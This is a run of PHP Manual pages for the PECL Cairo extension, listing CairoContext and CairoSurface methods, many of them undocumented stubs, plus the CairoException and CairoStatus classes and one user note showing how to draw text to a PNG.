  • CairoContext::setMiterLimit »
  • PHP Manual
  • CairoContext
  • The setMatrix purpose

CairoContext::setMatrix

cairo_set_matrix

(PECL cairo >= 0.1.0)

CairoContext::setMatrix -- cairo_set_matrix — The setMatrix purpose

Description

Object oriented style (method):

public void CairoContext::setMatrix ( string $matrix )

Procedural style:

void cairo_set_matrix ( CairoContext $context , CairoMatrix $matrix )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

matrix

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The setMiterLimit purpose

  • « CairoContext::setMatrix
  • CairoContext::setOperator »
  • PHP Manual
  • CairoContext
  • The setMiterLimit purpose

CairoContext::setMiterLimit

cairo_set_miter_limit

(PECL cairo >= 0.1.0)

CairoContext::setMiterLimit -- cairo_set_miter_limit — The setMiterLimit purpose

Description

Object oriented style (method):

public void CairoContext::setMiterLimit ( string $limit )

Procedural style:

void cairo_set_miter_limit ( CairoContext $context , string $limit )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

limit

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The setOperator purpose

  • « CairoContext::setMiterLimit
  • CairoContext::setScaledFont »
  • PHP Manual
  • CairoContext
  • The setOperator purpose

CairoContext::setOperator

cairo_set_operator

(PECL cairo >= 0.1.0)

CairoContext::setOperator -- cairo_set_operator — The setOperator purpose

Description

Object oriented style (method):

public void CairoContext::setOperator ( string $setting )

Procedural style:

void cairo_set_operator ( CairoContext $context , string $setting )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

setting

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The setScaledFont purpose

  • « CairoContext::setOperator
  • CairoContext::setSource »
  • PHP Manual
  • CairoContext
  • The setScaledFont purpose

CairoContext::setScaledFont

cairo_set_scaled_font

(PECL cairo >= 0.1.0)

CairoContext::setScaledFont -- cairo_set_scaled_font — The setScaledFont purpose

Description

Object oriented style (method):

public void CairoContext::setScaledFont ( string $scaledfont )

Procedural style:

void cairo_set_scaled_font ( CairoContext $context , CairoScaledFont $scaledfont )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

scaledfont

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The setSource purpose

  • « CairoContext::setScaledFont
  • CairoContext::setSourceRGB »
  • PHP Manual
  • CairoContext
  • The setSource purpose

CairoContext::setSource

cairo_set_source

(PECL cairo >= 0.1.0)

CairoContext::setSource -- cairo_set_source — The setSource purpose

Description

Object oriented style (method):

public void CairoContext::setSource ( string $pattern )

Procedural style:

void cairo_set_source ( CairoContext $context , CairoPattern $pattern )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

pattern

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The setSourceRGB purpose

  • « CairoContext::setSource
  • CairoContext::setSourceRGBA »
  • PHP Manual
  • CairoContext
  • The setSourceRGB purpose

CairoContext::setSourceRGB

cairo_set_source

(PECL cairo >= 0.1.0)

CairoContext::setSourceRGB -- cairo_set_source — The setSourceRGB purpose

Description

Object oriented style (method):

public void CairoContext::setSourceRGB ( string $red , string $green , string $blue )

Procedural style:

void cairo_set_source ( CairoContext $context , CairoPattern $pattern )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

pattern

Description...

red

Description...

green

Description...

blue

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The setSourceRGBA purpose

  • « CairoContext::setSourceRGB
  • CairoContext::setSourceSurface »
  • PHP Manual
  • CairoContext
  • The setSourceRGBA purpose

CairoContext::setSourceRGBA

cairo_set_source

(PECL cairo >= 0.1.0)

CairoContext::setSourceRGBA -- cairo_set_source — The setSourceRGBA purpose

Description

Object oriented style (method):

public void CairoContext::setSourceRGBA ( string $red , string $green , string $blue , string $alpha )

Procedural style:

void cairo_set_source ( CairoContext $context , CairoPattern $pattern )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

pattern

Description...

red

Description...

green

Description...

blue

Description...

alpha

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The setSourceSurface purpose

  • « CairoContext::setSourceRGBA
  • CairoContext::setTolerance »
  • PHP Manual
  • CairoContext
  • The setSourceSurface purpose

CairoContext::setSourceSurface

cairo_set_source_surface

(PECL cairo >= 0.1.0)

CairoContext::setSourceSurface -- cairo_set_source_surface — The setSourceSurface purpose

Description

Object oriented style (method):

public void CairoContext::setSourceSurface ( string $surface [, string $x [, string $y ]] )

Procedural style:

void cairo_set_source_surface ( CairoContext $context , CairoSurface $surface [, string $x [, string $y ]] )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

surface

Description...

x

Description...

y

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The setTolerance purpose

  • « CairoContext::setSourceSurface
  • CairoContext::showPage »
  • PHP Manual
  • CairoContext
  • The setTolerance purpose

CairoContext::setTolerance

cairo_set_tolerance

(PECL cairo >= 0.1.0)

CairoContext::setTolerance -- cairo_set_tolerance — The setTolerance purpose

Description

Object oriented style (method):

public void CairoContext::setTolerance ( string $tolerance )

Procedural style:

void cairo_set_tolerance ( CairoContext $context , string $tolerance )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

tolerance

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The showPage purpose

  • « CairoContext::setTolerance
  • CairoContext::showText »
  • PHP Manual
  • CairoContext
  • The showPage purpose

CairoContext::showPage

cairo_show_page

(PECL cairo >= 0.1.0)

CairoContext::showPage -- cairo_show_page — The showPage purpose

Description

Object oriented style (method):

public void CairoContext::showPage ( void )

Procedural style:

void cairo_show_page ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The showText purpose

  • « CairoContext::showPage
  • CairoContext::status »
  • PHP Manual
  • CairoContext
  • The showText purpose

CairoContext::showText

cairo_show_text

(PECL cairo >= 0.1.0)

CairoContext::showText -- cairo_show_text — The showText purpose

Description

Object oriented style (method):

public void CairoContext::showText ( string $text )

Procedural style:

void cairo_show_text ( CairoContext $context , string $text )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

text

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

Volomike on Twitter 11-Feb-2010 07:14
This is an example of the showText() method for drawing text on a surface. Note that selectFontFace() will select fonts that your OS recognizes and I didn't see a way in the current API to select a font by filename.

<?php
$surface = new CairoImageSurface(CAIRO_FORMAT_ARGB32, 960, 250);
$ctx = new CairoContext($surface);
$ctx->selectFontFace('EuropaGroNr2SH-XBolCon');
$ctx->setFontSize(30);
$ctx->setAntialias(1);
$ctx->moveTo(0, 44);
$ctx->showText('Hello,');
$ctx->moveTo(30, 74);
$ctx->showText('world!');
$sName = tempnam('/tmp','hello');
$surface->writeToPng($sName);
$data = file_get_contents($sName);
unlink($sName);
header('Content-Type: image/png');
echo $data;


The status purpose

  • « CairoContext::showText
  • CairoContext::stroke »
  • PHP Manual
  • CairoContext
  • The status purpose

CairoContext::status

cairo_status

(PECL cairo >= 0.1.0)

CairoContext::status -- cairo_status — The status purpose

Description

Object oriented style (method):

public int CairoContext::status ( void )

Procedural style:

int cairo_status ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The stroke purpose

  • « CairoContext::status
  • CairoContext::strokeExtents »
  • PHP Manual
  • CairoContext
  • The stroke purpose

CairoContext::stroke

cairo_stroke

(PECL cairo >= 0.1.0)

CairoContext::stroke -- cairo_stroke — The stroke purpose

Description

Object oriented style (method):

public void CairoContext::stroke ( void )

Procedural style:

void cairo_stroke ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The strokeExtents purpose

  • « CairoContext::stroke
  • CairoContext::strokePreserve »
  • PHP Manual
  • CairoContext
  • The strokeExtents purpose

CairoContext::strokeExtents

cairo_stroke_extents

(PECL cairo >= 0.1.0)

CairoContext::strokeExtents -- cairo_stroke_extents — The strokeExtents purpose

Description

Object oriented style (method):

public array CairoContext::strokeExtents ( void )

Procedural style:

array cairo_stroke_extents ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The strokePreserve purpose

  • « CairoContext::strokeExtents
  • CairoContext::textExtents »
  • PHP Manual
  • CairoContext
  • The strokePreserve purpose

CairoContext::strokePreserve

cairo_stroke_preserve

(PECL cairo >= 0.1.0)

CairoContext::strokePreserve -- cairo_stroke_preserve — The strokePreserve purpose

Description

Object oriented style (method):

public void CairoContext::strokePreserve ( void )

Procedural style:

void cairo_stroke_preserve ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The textExtents purpose

  • « CairoContext::strokePreserve
  • CairoContext::textPath »
  • PHP Manual
  • CairoContext
  • The textExtents purpose

CairoContext::textExtents

cairo_text_extents

(PECL cairo >= 0.1.0)

CairoContext::textExtents -- cairo_text_extents — The textExtents purpose

Description

Object oriented style (method):

public array CairoContext::textExtents ( string $text )

Procedural style:

array cairo_text_extents ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

text

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The textPath purpose

  • « CairoContext::textExtents
  • CairoContext::transform »
  • PHP Manual
  • CairoContext
  • The textPath purpose

CairoContext::textPath

cairo_text_path

(PECL cairo >= 0.1.0)

CairoContext::textPath -- cairo_text_path — The textPath purpose

Description

Object oriented style

public void CairoContext::textPath ( string $string )

Procedural style

void cairo_text_path ( CairoContext $context , string $text )

Adds closed paths for text to the current path. The generated path, if filled, achieves an effect similar to that of CairoContext::showText().

Text conversion and positioning is done similar to CairoContext::showText().

Like CairoContext::showText(), after this call the current point is moved to the origin of where the next glyph would be placed in this same progression. That is, the current point will be at the origin of the final glyph offset by its advance values. This allows for chaining multiple calls to CairoContext::showText() without having to set current point in between.

Note: The CairoContext::textPath() function call is part of what the cairo designers call the "toy" text API. It is convenient for short demos and simple programs, but it is not expected to be adequate for serious text-using applications. See CairoContext::glyphPath() for the "real" text path API in cairo.

Parameters

context

A CairoContext object

text

Description...

string

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The transform purpose

  • « CairoContext::textPath
  • CairoContext::translate »
  • PHP Manual
  • CairoContext
  • The transform purpose

CairoContext::transform

cairo_transform

(PECL cairo >= 0.1.0)

CairoContext::transform -- cairo_transform — The transform purpose

Description

Object oriented style (method):

public void CairoContext::transform ( string $matrix )

Procedural style:

void cairo_transform ( CairoContext $context , CairoMatrix $matrix )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

matrix

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The translate purpose

  • « CairoContext::transform
  • CairoContext::userToDevice »
  • PHP Manual
  • CairoContext
  • The translate purpose

CairoContext::translate

cairo_translate

(PECL cairo >= 0.1.0)

CairoContext::translate -- cairo_translate — The translate purpose

Description

Object oriented style (method):

public void CairoContext::translate ( string $x , string $y )

Procedural style:

void cairo_translate ( CairoContext $context , string $x , string $y )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

x

Description...

y

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The userToDevice purpose

  • « CairoContext::translate
  • CairoContext::userToDeviceDistance »
  • PHP Manual
  • CairoContext
  • The userToDevice purpose

CairoContext::userToDevice

cairo_user_to_device

(PECL cairo >= 0.1.0)

CairoContext::userToDevice -- cairo_user_to_device — The userToDevice purpose

Description

Object oriented style (method):

public array CairoContext::userToDevice ( string $x , string $y )

Procedural style:

array cairo_user_to_device ( CairoContext $context , string $x , string $y )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

x

Description...

y

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The userToDeviceDistance purpose

  • « CairoContext::userToDevice
  • CairoException »
  • PHP Manual
  • CairoContext
  • The userToDeviceDistance purpose

CairoContext::userToDeviceDistance

cairo_user_to_device_distance

(PECL cairo >= 0.1.0)

CairoContext::userToDeviceDistance -- cairo_user_to_device_distance — The userToDeviceDistance purpose

Description

Object oriented style (method):

public array CairoContext::userToDeviceDistance ( string $x , string $y )

Procedural style:

array cairo_user_to_device_distance ( CairoContext $context , string $x , string $y )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

x

Description...

y

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The CairoException class

(PECL cairo >= 0.1.0)

Introduction

Exception class throwed by Cairo functions and methods

Class synopsis

CairoException extends Exception {
/* Inherited properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

User Contributed Notes

There are no user contributed notes for this page.


The CairoStatus class

(No version information available, might only be in Git)

Introduction

CairoStatus is used to indicate errors that can occur when using Cairo. In some cases it is returned directly by functions. but when using CairoContext, the last error, if any, is stored in the object and can be retrieved with CairoContext::status() or cairo_status(). New entries may be added in future versions.

Use Cairo::statusToString() or cairo_status_to_string() to get a human-readable representation of an error message.

Class synopsis

CairoStatus {
/* Constants */
const integer SUCCESS = 0 ;
const integer NO_MEMORY = 1 ;
const integer INVALID_RESTORE = 2 ;
const integer INVALID_POP_GROUP = 3 ;
const integer NO_CURRENT_POINT = 4 ;
const integer INVALID_MATRIX = 5 ;
const integer INVALID_STATUS = 6 ;
const integer NULL_POINTER = 7 ;
const integer INVALID_STRING = 8 ;
const integer INVALID_PATH_DATA = 9 ;
const integer READ_ERROR = 10 ;
const integer WRITE_ERROR = 11 ;
const integer SURFACE_FINISHED = 12 ;
const integer SURFACE_TYPE_MISMATCH = 13 ;
const integer PATTERN_TYPE_MISMATCH = 14 ;
const integer INVALID_CONTENT = 15 ;
const integer INVALID_FORMAT = 16 ;
const integer INVALID_VISUAL = 17 ;
const integer FILE_NOT_FOUND = 18 ;
const integer INVALID_DASH = 19 ;
const integer INVALID_DSC_COMMENT = 20 ;
const integer INVALID_INDEX = 21 ;
const integer CLIP_NOT_REPRESENTABLE = 22 ;
const integer TEMP_FILE_ERROR = 23 ;
const integer INVALID_STRIDE = 24 ;
}

Predefined Constants

CairoStatus::SUCCESS

No error has occurred

CairoStatus::NO_MEMORY

Out of memory

CairoStatus::INVALID_RESTORE

cairo_restore() called without matching cairo_save()

CairoStatus::INVALID_POP_GROUP

No saved group to pop

CairoStatus::NO_CURRENT_POINT

No current point defined

CairoStatus::INVALID_MATRIX

Invalid matrix (not invertible)

CairoStatus::INVALID_STATUS

Invalid value for an input CairoStatus>

CairoStatus::NULL_POINTER

Null pointer

CairoStatus::INVALID_STRING

Input string not valid UTF-8 string

CairoStatus::INVALID_PATH_DATA

Input path data not valid

CairoStatus::READ_ERROR

Error while reading from input stream

CairoStatus::WRITE_ERROR

Error while writing to output stream

CairoStatus::SURFACE_FINISHED

Target surface has been finished

CairoStatus::SURFACE_TYPE_MISMATCH

The surface type is not appropriate for the operation

CairoStatus::PATTERN_TYPE_MISMATCH

The pattern type is not appropriate for the operation

CairoStatus::INVALID_CONTENT

Invalid value for an input CairoContent

CairoStatus::INVALID_FORMAT

Invalid value for an input CairoFormat

CairoStatus::INVALID_VISUAL

Invalid value for an input Visual

CairoStatus::FILE_NOT_FOUND

File not found

CairoStatus::INVALID_DASH

Invalid value for a dash setting

CairoStatus::INVALID_DSC_COMMENT

Invalid value for a DSC comment

CairoStatus::INVALID_INDEX

Invalid index passed to getter

CairoStatus::CLIP_NOT_REPRESENTABLE

Clip region not representable in desired format

CairoStatus::TEMP_FILE_ERROR

Error creating or writing to a temporary file

CairoStatus::INVALID_STRIDE

Invalid value for CairoStride

User Contributed Notes

There are no user contributed notes for this page.


The CairoSurface class

(PECL cairo >= 0.1.0)

Introduction

This is the base-class for all other Surface types. CairoSurface is the abstract type representing all different drawing targets that cairo can render to. The actual drawings are performed using a CairoContext.

Class synopsis

CairoSurface {
/* Methods */
public __construct ( void )
public void copyPage ( void )
public void createSimilar ( CairoSurface $other , int $content , string $width , string $height )
public void finish ( void )
public void flush ( void )
public int getContent ( void )
public array getDeviceOffset ( void )
public void getFontOptions ( void )
public int getType ( void )
public void markDirty ( void )
public void markDirtyRectangle ( string $x , string $y , string $width , string $height )
public void setDeviceOffset ( string $x , string $y )
public void setFallbackResolution ( string $x , string $y )
public void showPage ( void )
public int status ( void )
public void writeToPng ( string $file )
}

Table of Contents

  • CairoSurface::__construct — The __construct purpose
  • CairoSurface::copyPage — The copyPage purpose
  • CairoSurface::createSimilar — The createSimilar purpose
  • CairoSurface::finish — The finish purpose
  • CairoSurface::flush — The flush purpose
  • CairoSurface::getContent — The getContent purpose
  • CairoSurface::getDeviceOffset — The getDeviceOffset purpose
  • CairoSurface::getFontOptions — The getFontOptions purpose
  • CairoSurface::getType — The getType purpose
  • CairoSurface::markDirty — The markDirty purpose
  • CairoSurface::markDirtyRectangle — The markDirtyRectangle purpose
  • CairoSurface::setDeviceOffset — The setDeviceOffset purpose
  • CairoSurface::setFallbackResolution — The setFallbackResolution purpose
  • CairoSurface::showPage — The showPage purpose
  • CairoSurface::status — The status purpose
  • CairoSurface::writeToPng — The writeToPng purpose

User Contributed Notes

There are no user contributed notes for this page.


The __construct purpose

  • « CairoSurface
  • CairoSurface::copyPage »
  • PHP Manual
  • CairoSurface
  • The __construct purpose

CairoSurface::__construct

(PECL cairo >= 0.1.0)

CairoSurface::__construct — The __construct purpose

Description

public CairoSurface::__construct ( void )

CairoSurface is an abstract type and, as such, should not be instantiated in your PHP scripts.

Parameters

This function has no parameters.

Return Values

No return value

Notes

Note:

If you're using a PHP version before 5.3, you must destroy the CairoContext associated with a CairoSurface after you destroy the CairoSurface. Otherwise, you're left with a Circular-reference memory leak.

See Also

  • CairoImageSurface::__construct() - Creates a new CairoImageSurface

User Contributed Notes

There are no user contributed notes for this page.


The copyPage purpose

  • « CairoSurface::__construct
  • CairoSurface::createSimilar »
  • PHP Manual
  • CairoSurface
  • The copyPage purpose

CairoSurface::copyPage

cairo_copy_page

(PECL cairo >= 0.1.0)

CairoSurface::copyPage -- cairo_copy_page — The copyPage purpose

Description

Object oriented style (method):

public void CairoSurface::copyPage ( void )

Procedural style:

void cairo_copy_page ( CairoContext $context )

Emits the current page for backends that support multiple pages, but doesn't clear it, so that the contents of the current page will be retained for the next page. Use CairoSurface::showPage() if you want to get an empty page after the emission.

Parameters

context

A CairoContext object

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The createSimilar purpose

  • « CairoSurface::copyPage
  • CairoSurface::finish »
  • PHP Manual
  • CairoSurface
  • The createSimilar purpose

CairoSurface::createSimilar

(PECL cairo >= 0.1.0)

CairoSurface::createSimilar — The createSimilar purpose

Description

public void CairoSurface::createSimilar ( CairoSurface $other , int $content , string $width , string $height )

Create a new surface that is as compatible as possible with an existing surface. For example the new surface will have the same fallback resolution and font options as other. Generally, the new surface will also use the same backend as other, unless that is not possible for some reason. The type of the returned surface may be examined with CairoSurface::getType(). Initially the surface contents are all 0 (transparent if contents have transparency, black otherwise.)

Parameters

other

An existing surface used to select the backend of the new surface

content

The content for the new surface. See the CairoContent class for possible values.

width

Width of the new surface, (in device-space units).

height

Height of the new surface, (in device-space units).

Return Values

A new CairoSurface

Examples

Example #1 CairoSurface::createSimilar() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • CairoContent()

User Contributed Notes

There are no user contributed notes for this page.


The finish purpose

  • « CairoSurface::createSimilar
  • CairoSurface::flush »
  • PHP Manual
  • CairoSurface
  • The finish purpose

CairoSurface::finish

(PECL cairo >= 0.1.0)

CairoSurface::finish — The finish purpose

Description

public void CairoSurface::finish ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoSurface::finish() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The flush purpose

  • « CairoSurface::finish
  • CairoSurface::getContent »
  • PHP Manual
  • CairoSurface
  • The flush purpose

CairoSurface::flush

(PECL cairo >= 0.1.0)

CairoSurface::flush — The flush purpose

Description

public void CairoSurface::flush ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoSurface::flush() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getContent purpose

  • « CairoSurface::flush
  • CairoSurface::getDeviceOffset »
  • PHP Manual
  • CairoSurface
  • The getContent purpose

CairoSurface::getContent

(PECL cairo >= 0.1.0)

CairoSurface::getContent — The getContent purpose

Description

public int CairoSurface::getContent ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoSurface::getContent() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getDeviceOffset purpose

  • « CairoSurface::getContent
  • CairoSurface::getFontOptions »
  • PHP Manual
  • CairoSurface
  • The getDeviceOffset purpose

CairoSurface::getDeviceOffset

(PECL cairo >= 0.1.0)

CairoSurface::getDeviceOffset — The getDeviceOffset purpose

Description

public array CairoSurface::getDeviceOffset ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoSurface::getDeviceOffset() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getFontOptions purpose

  • « CairoSurface::getDeviceOffset
  • CairoSurface::getType »
  • PHP Manual
  • CairoSurface
  • The getFontOptions purpose

CairoSurface::getFontOptions

cairo_get_font_options

(PECL cairo >= 0.1.0)

CairoSurface::getFontOptions -- cairo_get_font_options — The getFontOptions purpose

Description

Object oriented style (method):

public void CairoSurface::getFontOptions ( void )

Procedural style:

void cairo_get_font_options ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getType purpose

  • « CairoSurface::getFontOptions
  • CairoSurface::markDirty »
  • PHP Manual
  • CairoSurface
  • The getType purpose

CairoSurface::getType

(PECL cairo >= 0.1.0)

CairoSurface::getType — The getType purpose

Description

public int CairoSurface::getType ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoSurface::getType() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The markDirty purpose

  • « CairoSurface::getType
  • CairoSurface::markDirtyRectangle »
  • PHP Manual
  • CairoSurface
  • The markDirty purpose

CairoSurface::markDirty

(PECL cairo >= 0.1.0)

CairoSurface::markDirty — The markDirty purpose

Description

public void CairoSurface::markDirty ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoSurface::markDirty() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The markDirtyRectangle purpose

  • « CairoSurface::markDirty
  • CairoSurface::setDeviceOffset »
  • PHP Manual
  • CairoSurface
  • The markDirtyRectangle purpose

CairoSurface::markDirtyRectangle

(PECL cairo >= 0.1.0)

CairoSurface::markDirtyRectangle — The markDirtyRectangle purpose

Description

public void CairoSurface::markDirtyRectangle ( string $x , string $y , string $width , string $height )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

x

Description...

y

Description...

width

Description...

height

Description...

Return Values

Description...

Examples

Example #1 CairoSurface::markDirtyRectangle() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The setDeviceOffset purpose

  • « CairoSurface::markDirtyRectangle
  • CairoSurface::setFallbackResolution »
  • PHP Manual
  • CairoSurface
  • The setDeviceOffset purpose

CairoSurface::setDeviceOffset

(PECL cairo >= 0.1.0)

CairoSurface::setDeviceOffset — The setDeviceOffset purpose

Description

public void CairoSurface::setDeviceOffset ( string $x , string $y )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

x

Description...

y

Description...

Return Values

Description...

Examples

Example #1 CairoSurface::setDeviceOffset() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The setFallbackResolution purpose

  • « CairoSurface::setDeviceOffset
  • CairoSurface::showPage »
  • PHP Manual
  • CairoSurface
